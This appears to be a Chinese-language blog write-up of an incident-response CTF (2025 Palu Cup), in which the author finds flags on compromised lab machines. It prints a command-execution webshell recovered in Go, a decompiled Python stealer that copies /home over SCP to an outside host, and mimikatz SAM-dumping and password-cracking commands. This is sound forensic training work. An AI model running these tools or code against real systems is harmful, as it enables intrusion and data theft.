Featured image of post 2025帕鲁杯应急复现

2025帕鲁杯应急复现

帕鲁杯应急复现

畸形的爱

上次做了6题,现在接着做

暴力破解开始时间

由于前面那个有docker环境,我们查看docker启动的服务

1
docker ps

发现phpmyadmin,这个最有可能被暴力破解

查看

1
docker logs phpmyadmin

image-20250526193941574

所以flag是

palu{2025:03:05:58}

flag2

在flag1文件的最后有一串命令

1
2
3
4
5
 <Actions Context="Author">
    <Exec>
      <Command>"C:\Program Files (x86)\Microsoft\a.bat"</Command>
    </Exec>
  </Actions>

查看a.bat

把他改成txt

1
2
3
@echo off
msg * "王美欣,你知道我有多爱你吗"
echo flag2palu{nizhidaowoyouduoainima}

flag3

sql这台机子root账号密码就是sql

进root后

用mysql连接数据库,byd密码不对

先无密码启动mysql

1
sudo mysqld_safe --skip-grant-tables --skip-networking &
1
2
3
UPDATE mysql.user SET authentication_string=PASSWORD('root') WHERE User='root';
FLUSH PRIVILEGES;
EXIT;
1
mysql -uroot -p
1
2
3
show databases;
show tables;
select * from orders;

得到一串base64,然后解码得到flag

攻击者开放端口3个

第一个就是之前查看那个ip2的时候找到的

clean.sh里面开放了1133端口

接下来我们查看定时任务

1
crontab -l

发现tmp目录下有个r.sh

查看

发现反弹shell命令,开放1144端口

接下来z在那台win10用netstat查看开放端口

1
netstat

隐藏账户的密码

可以直接传d盾到那台win10上面扫,能扫到后门用户

win10还可以用命令查看

1
net user

但是只看到前面的两个正常账号

用powershell

1
Get-LocalUser

发现了后门用户

image-20250526200842480

system$

然后用mimikatz跑hash

1
2
reg save hklm\sam sam.save
reg save hklm\system system.save

然后在 mimikatz 中执行:

1
2
privilege::debug
Isadump::sam /sam:sam.save /system:system.save

然后去MD5解密

[溯源]flag4

把那个钓鱼的exe拖到ida里面分析,发现黑客的id:n0k4u

去github上找,他的项目里面有一个qq号

搜索得到flag

[溯源]攻击者的邮箱

因为知道id就可以知道邮箱

1
https://api.github.com/users/<name>/events/public

访问

1
https://api.github.com/users/n0k4u/events/public

得到邮箱

应急主线

solar_Linux后门排查

1
2
3
4
5
6
7
题目描述
跳板机疑似被遗留后门,请排查
1、找到可疑进程完整路径
2、找到被横向的服务器IP
3、连接被横向服务器
flag格式为 flag{base64{完整路径}|服务器IP|服务器中flag文本}
root:Solar@2025_05_palu!
1
ss -anptu

ss看到恶意ip,看到pid为11

ip为49.232.112.164:22

image-20250528202511884

查看进程

1
ps -aux |grep 11

完整路径为usr/lib/systemd/systemd-login

image-20250528202540282

接着ssh连接这个

1
ssh 49.232.112.164

要root密码,这下是Solar@2025_05_palu!了,换xshell连

连上直接cat flag

image-20250528202618716

1
ZX0001S

应急响应2-1

提交堡垒机中留下的flag

1
grep -r "palu{" /*

或者直接用链接登入

1
http://192.168.20.100/

image-20250528203135251

1
palu{2025_qiandao_flag}

应急响应2-2

提交WAF中隐藏的flag

同样登入waf

1
https://192.168.20.102:9443/

在身份认证找到flag

1
palu{2025_waf}

应急响应2-3

提交Mysql中留下的flag

直接navicat连接,找到flag

1
palu{Mysql_@2025}

应急响应2-4

提交攻击者的攻击IP

waf雷池查看不是给的拓扑图里面的ip

1
palu{192.168.20.107}

应急响应2-5

提交攻攻击者最早攻击时间flag格式为palu{xxxx-xx-xx-xx:xx:xx}

刚刚看雷池已经看到了

1
palu{2025-05-05-00:04:40}

应急响应2-6

提交web服务泄露的关键文件名

前面发现那个机子直接用虚拟机看很多条看不到,直接换xshell连了

查看服务

1
ps -aux

image-20250528210826518

发现nginx服务,查看他的日志

/var/log下面没有nginx

全局找

image-20250528211153816

直接看第一个,有个safeline

查看发现一堆日志

image-20250528211624775

1
palu{key.txt}

应急响应2-7

提交泄露的邮箱地址作为flag进行提交

访问key.txt

1
palu{parloo@parloo.com}

应急响应2-8

提交立足点服务器ip地址

前下看雷池的时候发现的本机的服务器来攻击了,很可疑

1
palu{192.168.20.108}

应急响应2-9

提交攻击者使用的提权用户密码,flag格式为:palu{username/password}

由于前面那题知道立足点服务器了,我们可以直接去192.168.20.108对应的服务器查看,也就是 sshServer 这台机子,然后查看

1
cat /etc/shadow

得到parloo/parloo

1
palu{parloo/parloo}

应急响应2-10

提交攻击者留下的的文件内容作为flag提交

这个想到进攻击者留下的账号目录里面看

image-20250603000348667

1
palu{hi_2025_parloo_is_hack}

应急响应2-11

提交权限维持方法服务的名称

一般是木马,我们直接查看服务器外联地址

1
netstat -anplt

或者看恶意进程

1
ps -aux

image-20250603092514965

发现恶意进程b4b4那个

ps查看他在哪个路径

1
ps -ef |grep b4b4

image-20250603092648986

这里知道了执行恶意进程的用户pid

可以查看他执行的system服务

1
systemctl status 831

image-20250603093037266

1
palu{rootset}

至于他这个程序,其实执行了Restart=always

应急响应2-12

提交攻击者攻击恶意服务器连接地址作为flag提交

这个就是上面找到的那个外联地址

1
palu{47.101.213.153}

应急响应2-13

找到系统中被劫持的程序程序名作为flag提交

1
ls -alh /usr/bin /bin /usr/sbin /sbin | grep -vE 'root | staff |bin'

查看不属于root的程序,

  • /bin 基础命令 ls,cp
  • /usr/bin 扩展命令 vim,python
  • /sbin 系统管理命令 ifconfig,reboot
  • /usr/sbin 更多管理命令 sshd,apache

或者

1
ps -ef

找到

1
palu{id}

应急响应2-14

找到系统中存在信息泄露的服务运行端口作为flag提交

这里查看server01,然后探测别的端口

fscan扫描

image-20250603133726430

80端口是重要通知

image-20250603133920008

这里其实可以解决前面提权密码的问题

然后8081端口也很可疑

image-20250603134059462

1
palu{8081}

应急响应2-15

提交Parloo公司项目经理的身份证号作为flag提交

同上可以拿到

1
palu{310105198512123456}

应急响应2-16

提交存在危险功能的操作系统路径作为flag提交。flag格式为palu{/xxx/xxx}

扫端口的时候一定也要开mysql那台机子,不然这题扫不到了

image-20250603140021147

多了一个3000端口,git服务可能会泄露

image-20250603140104219

进仓库有个mian.go

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
package main

import (
	"context"
	"fmt"
	"html/template"
	"log"
	"net"
	"net/http"
	"os"
	"os/exec"
	"strings"
	"time"
)

type Command struct {
	Input    string
	Output   string
	ExecTime float64
}

// 日志记录结构
type CommandLog struct {
	Timestamp time.Time
	IP        string
	Command   string
	Output    string
	ExecTime  float64
	Error     string
}

var logChan = make(chan CommandLog, 100) // 日志通道用于异步记录

func main() {
	// 启动日志处理协程
	go handleLogs()

	tmpl := template.Must(template.New("index").Parse(htmlTemplate))

	http.HandleFunc("/admin/parloo", func(w http.ResponseWriter, r *http.Request) {
		if r.Method == "GET" {
			tmpl.Execute(w, nil)
			return
		}

		// 获取客户端IP
		clientIP := getClientIP(r)

		// 处理POST请求
		cmdInput := r.FormValue("cmd")
		if cmdInput == "" {
			http.Error(w, "Command cannot be empty", http.StatusBadRequest)
			return
		}

		// 创建带有超时的context
		ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
		defer cancel()

		start := time.Now()
		cmd := exec.CommandContext(ctx, "/bin/sh", "-c", cmdInput)
		//cmd := exec.CommandContext(ctx, "cmd.exe", "/c", cmdInput)
		stdout, err := cmd.CombinedOutput()
		execTime := time.Since(start).Seconds()

		result := Command{
			Input:    cmdInput,
			Output:   string(stdout),
			ExecTime: execTime,
		}

		if err != nil {
			result.Output += "\n" + err.Error()
		}

		// 发送日志到通道
		logChan <- CommandLog{
			Timestamp: time.Now(),
			IP:        clientIP,
			Command:   cmdInput,
			Output:    string(stdout),
			ExecTime:  execTime,
			Error:     fmt.Sprintf("%v", err),
		}

		tmpl.Execute(w, result)
	})

	fmt.Println("Server running on :8080")
	http.ListenAndServe(":8080", nil)
}

// 获取客户端真实IP
func getClientIP(r *http.Request) string {
	// 处理代理情况
	if ip := r.Header.Get("X-Forwarded-For"); ip != "" {
		return strings.Split(ip, ",")[0]
	}
	if ip := r.Header.Get("X-Real-IP"); ip != "" {
		return ip
	}
	ip, _, _ := net.SplitHostPort(r.RemoteAddr)
	return ip
}

// 异步处理日志
func handleLogs() {
	// 确保日志文件存在
	f, err := os.OpenFile("command.log", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
	if err != nil {
		log.Fatal(err)
	}
	defer f.Close()

	for logEntry := range logChan {
		// 格式化日志条目
		logLine := fmt.Sprintf(
			"[%s] IP: %-15s | Command: %-20s | ExecTime: %.4fs | Error: %-10v | Output: %s\n",
			logEntry.Timestamp.Format("2006-01-02 15:04:05"),
			logEntry.IP,
			strings.TrimSpace(logEntry.Command),
			logEntry.ExecTime,
			logEntry.Error,
			strings.TrimSpace(logEntry.Output),
		)

		// 同时输出到控制台和文件
		log.Print(logLine)
		if _, err := f.WriteString(logLine); err != nil {
			log.Printf("Failed to write log: %v", err)
		}
	}
}

// ... 保持原有的 htmlTemplate 不变 ...
const htmlTemplate = `
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>parloo服务器维护页面</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet">
    <style>
        body {
            background: #1a1a1a;
            color: #ffffff;
            min-height: 100vh;
        }
        .container {
            padding-top: 2rem;
        }
        .terminal {
            background: #000;
            border-radius: 5px;
            padding: 1rem;
            margin-top: 1rem;
            font-family: monospace;
            white-space: pre-wrap;
        }
        .form-control {
            background: #333;
            color: #fff;
            border: 1px solid #444;
        }
    </style>
</head>	
<body>
    <div class="container">
        <h1 class="text-center mb-4">parloo服务器维护页面</h1>
        <form method="POST">
            <div class="input-group mb-3">
                <input type="text" class="form-control" name="cmd" placeholder="Enter command..." required>
                <button class="btn btn-danger" type="submit">Execute</button>
            </div>
        </form>

        {{if .Input}}
        <div class="result">
            <h5>Command: <code>{{.Input}}</code></h5>
            <h5>Execution Time: {{.ExecTime}}s</h5>
            <div class="terminal">
                {{.Output}}
            </div>
        </div>
        {{end}}
    </div>
</body>
</html>
`

其中这里

1
2
3
4
5
http.HandleFunc("/admin/parloo", func(w http.ResponseWriter, r *http.Request) {
		if r.Method == "GET" {
			tmpl.Execute(w, nil)
			return
		}
1
palu{/admin/parloo}

应急响应2-17

提交进源机器中恶意程序的MD5作为flag进行提交。 flag格式为palu{MD5小写}

官方给的pdf里面写了palu03这台机是近源机器

刚登上去就有一个程序svhost.exe未响应,非常可疑

里面可以远程桌面,我们可以上传everything进去找

image-20250603142334715

1
certutil -hashfile svhost.exe MD5

image-20250603142529202

1
palu{0f80a82621b8c4c3303d198d13776b34}

应急响应2-18

提交攻击者留下的恶意账户名称md5后作为flag进行提交。 格式为palu{md5{xxxxx}}

前下就能看到有个恶意账号叫hack

1
palu{d78b6f30225cdc811adfe8d4e7c9fd34}

应急响应2-19

提交内部群中留下的flag并提交

点开内网通查看聊天记录得到flag

1
palu{nbq_nbq_parloo}

应急响应2-20

请提交攻击者使用维护页面获取到的敏感内容作为flag进行提交

前下在server01那台机子上面找到危险功能,我们用xshell连接那台

回头看前面的mian.go

1
f, err := os.OpenFile("command.log", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)

进机子搜索command.log

image-20250603145058380

找到三个

cat第三个,可以查看到执行的命令记录

image-20250603150416444

这里有个cat flag命令

1
palu{Server_Parloo_2025}

应急响应2-21

提交获取敏感内容IP的第一次执行命令时间作为flag进行提交。flag格式为palu{xxxx-xx-xx:xx:xx:xx}

翻到最上面就行了

1
palu{2025-05-04:15:30:38}

应急响应2-22

提交攻击者使用的恶意ip和端口flag格式为palu{xx.xx.xx.xx:xxxx}

上面catflag完后执行了反弹shell命令

1
palu{10.12.12.13:9999}

应急响应2-23

提交重要数据的明文内容作为flag提交

前面palu03机子的桌面就有一个密文,直接提交不对看来是被加密了

1
c3alc3c13e326020c3919093e1260525045e

这个需要爆破

首先先去前面那个git仓库登入hack的账号

但是密码未知,但是mysql服务启动了我们可以去查询,navicat连接

image-20250603184816185

user表里面有hack的密码,由于hash不知道,我们新建一个账号替换他的密码

不仅要改密码还要改salt值

登入进来有个encode.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
def custom_encrypt(text, key):
    encrypted = []
    key_bytes = [ord(c) for c in key]

    for i, char in enumerate(text):
        shifted = ord(char) + (i % 5 + 1)

        xor_key = key_bytes[i % len(key_bytes)]
        xored = shifted ^ xor_key
        substituted = ((xored & 0x0F) << 4) | ((xored & 0xF0) >> 4)
        encrypted.append(f"{substituted:02x}")
    return "".join(encrypted)

需要key,这里由于flag格式是palu{开头的,所以爆破密钥,最后推出key为MySecretKey

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
def custom_decrypt(ciphertext, key):
    decrypted = []
    key_bytes = [ord(c) for c in key]
    for i in range(0, len(ciphertext), 2):
        hex_byte = ciphertext[i:i+2]
        substituted = int(hex_byte, 16)
        xored = ((substituted & 0x0F) << 4) | ((substituted & 0xF0) >> 4)
        
        xor_key = key_bytes[(i // 2) % len(key_bytes)]
        shifted = xored ^ xor_key
        original_char_code = shifted - ((i // 2) % 5 + 1)
        decrypted.append(chr(original_char_code))
    return ''.join(decrypted)    
key = "MySecretKey"
ciphertext = "c3a1c3c13e326020c3919093e1260525045e"
plaintext = custom_decrypt(ciphertext, key)
print(plaintext)

image-20250603190531990

1
palu{Password-000}

应急响应2-24

提交恶意维权软件的名称作为flag进行提交

1
palu{svhost}

应急响应2-25

提交恶意程序的外联地址

由于定位了黑客攻击时间段,我们用everthing查看5月4日到5月14日的东西

发现ipconfig.exe

看图标是python写的,我们直接python反编译一下

先把exe反编译成pyc文件

image-20250603192130522

然后把pyc反编译为py文件

python反编译 - 在线工具

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.8

import os
import paramiko
from scp import SCPClient
from pathlib import Path

def create_ssh_client(server, port, username, password, key_path = (None, None)):
    '''
    创建SSH客户端连接
    '''
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# WARNING: Decompyle incomplete


def transfer_directory(scp, local_path, remote_path):
    '''
    递归传输目录
    '''
    for item in os.listdir(local_path):
        local_item = os.path.join(local_path, item)
        if os.path.islink(local_item):
            print(f'''跳过符号链接: {local_item}''')
            continue
        remote_item = os.path.join(remote_path, item)
        if os.path.isdir(local_item):
            
            try:
                scp.mkdir(remote_item)
            finally:
                pass
            transfer_directory(scp, local_item, remote_item)
            continue
            print(f'''传输文件中: {local_item}''')
            scp.put(local_item, remote_item)
            continue
            return None



def main():
    ssh_config = {
        'server': '88.173.90.103',
        'port': 22,
        'username': 'ubuntu',
        'password': 'OOWPWPWADADA' }
    local_home = '/home'
    remote_base = '/home/ubuntu/backup_home'
# WARNING: Decompyle incomplete

if __name__ == '__main__':
    main()
1
palu{88.173.90.103}

应急响应2-26

提交攻击这使用的恶意dnslog域名作为flag进行提交

这个在之前的cat flag那题下面就有,好几个

1
2
3
https://zdcg1o9v.requestrepo.com/
w0tynrqr.requestrepo.com
np85qqde.requestrepo.com

image-20250603192802986

但是可以看到当最后一个dns域名执行whoami命令之后黑客反弹shell成功了

1
palu{np85qqde.requestrepo.com}

应急响应2-27

提交寻找反序列化漏洞的端口作为flag进行提交

前面fscan扫到高危漏洞9999端口

1
palu{9999}

应急响应2-28

提交web服务泄露的密钥作为flag进行提交

前面这个fscan并没有扫出反序列化漏洞,换afrog扫出shiro和heapdump泄露

image-20250603194927287

先把heapdump下下来

然后用jdumpspider分析文件中的敏感信息

image-20250603200327810

这里就跑出来key了

1
palu{QZYysgMYhG6/CzIJlVpR2g==}

应急响应2-29

提交攻击者开始攻击的时间作为flag进行提交。flag各式为palu{xxxx/xx/xx:xx:xx:xx}

进雷池waf查看

image-20250603203700768

1
palu{2025/05/13:16:45:19}

应急响应2-30

提交攻击者在server中留下的账户密码作为flag进行提交。flag格式为palu{username/password}

server这台机看/etc/shadow

image-20250603203912701

用john爆破密码,把密码保存到1.txt

1
$y$j9T$RlIs4rqy6D2PI46ntcuwZ0$WFD6WgX3XC4zp/5Y.Jq9yLcfhHK5Rdg6IeDq2Rrl791
1
john --format=crypt 1.txt

image-20250603204624666

1
palu{parloohack/123456}

应急响应2-31

提交攻击者维权方法的名称作为flag进行提交

换成parloohack账号,去他的目录下查看看到aa文件

image-20250603204913500

查看历史命令

1
history

image-20250603205046929

启动了那个服务

1
palu{parloohack_script.service}

应急响应2-32

提交攻击者留下的木马md5后作为flag进行提交

木马只可能是那个aa,历史命令执行了md5sum

1
md5sum aa

直接算出来

1
palu{4123940b3911556d4bf79196cc008bf4}

应急响应2-33

提交攻击者留下的溯源信息作为flag进行提交

这里又要回到办公pc上面查看,这里是在palu02这台机子上有谷歌浏览器

image-20250603210048606

在密码管理里面找到了

1
palu{X5E1yklz1oAdyHBZ}

应急响应2-34

提交攻击者的githubID作为flag进行提交

841366067这个qq号,去看空间就能找到githubid

1
palu{ParlooSEc}

应急响应2-35

提交攻击者在github下留下的的内容作为flag进行提交

image-20250603210441562

1
palu{s5o3WkX33hptyJjk}

应急响应2-36

提交恶意用户的数量作为flag进行提交

登入palu01这台机的时候看到一堆palu

1
palu{99}

应急响应2-37

提交恶意用户的默认密码作为flag进行提交

根据前面爆破的我们猜是123456

1
palu{123456}

应急响应2-38

提交业务数据中攻击者留下的信息作为flag进行提交

之前数据库查看的flag还没用

1
palu{crP1ZIVfqrkfdhGy}

应急响应2-39

提交私人git仓库中留下的内容作为flag进行提交

同样操作把admin密码改了登入进去

image-20250603211514128

1
cGFsdXtGTzY1U3J1dVR1a2RwQlM1fQ==
1
palu{FO65SruuTukdpBS5}

应急响应2-40

提交存在在mysql服务器中的恶意程序的MD5作为flag进行提交

还是查看history

发现.a文件

image-20250603211915223

find命令找到它在root目录下面

然后md5sum

1
palu{ba7c9fc1ff58b48d0df5c88d2fcc5cd1}

应急响应2-41

提交恶意程序中模拟c2通信的函数名称作为flag进行提交

拿到ida里面分析

image-20250603213017924

1
palu{simulate_network_communication}

应急响应2-42

提交恶意程序创建隐藏文件的名称作为flag提交

ida上面有个hidden_file函数

双击跳转

image-20250603213208573

1
palu{.malware_log.txt}

应急响应2-43

提交恶意程序中模拟权限提升的函数作为flag进行提交

1
palu{simulate_privilege_escalation}

应急响应2-44

提交被钓鱼上线的用户名作为flag进行提交

查看内网通

image-20250603214100483

沉沉给子怡发了一个exe

1
palu{Parloo-子怡}

应急响应2-45

提交恶意程序的所在路径作为flag进行提交

1
palu{C:\Users\Public\Nwt\cache\recv\Parloo-沉沉}

应急响应2-46

分析恶意程序的反连地址作为flag进行提交

这个就是之前浏览器记录的那个反连地址

1
palu{47.101.213.153}

应急响应2-47

提交恶意c2的服务器登录的账号密码作为flag进行提交。flag格式为palu{username/password}

这个前下也在浏览器密码管理里面看到了

image-20250603214451935

1
palu{admin/admin@qwer}
使用 Hugo 构建
主题 StackJimmy 设计